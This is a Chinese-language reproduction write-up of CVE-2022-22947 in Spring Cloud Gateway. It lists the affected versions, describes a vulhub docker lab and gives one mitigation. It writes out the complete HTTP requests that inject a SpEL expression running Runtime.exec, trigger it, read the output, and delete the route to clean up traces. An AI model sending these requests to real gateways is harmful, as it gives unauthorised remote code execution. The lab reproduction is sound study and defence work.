Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway >= 3.1.1
（1）本次使用vulhub搭建本地测试环境进行复现：
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
（2）执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务：
docker-compose up -d
（1）添加一个包含恶意SpEL表达式的路由，具体数据包如下：
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com"}
（2）发送如下数据包应用刚添加的路由，这个数据包将触发SpEL表达式的执行：
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
（3）发送如下数据包即可查看命令执行结果：
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
（4）最后，发送如下数据包清理现场，删除所添加的路由：
DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close
临时缓解措施：
1. 若不需要Gateway actuator endpoint，可通过 management.endpoint.gateway.enabled: false 禁用它。
原文始发于微信公众号（第59号）：CVE-2022-22947：Spring Cloud Gateway 远程代码执行漏洞分析
- 左青龙
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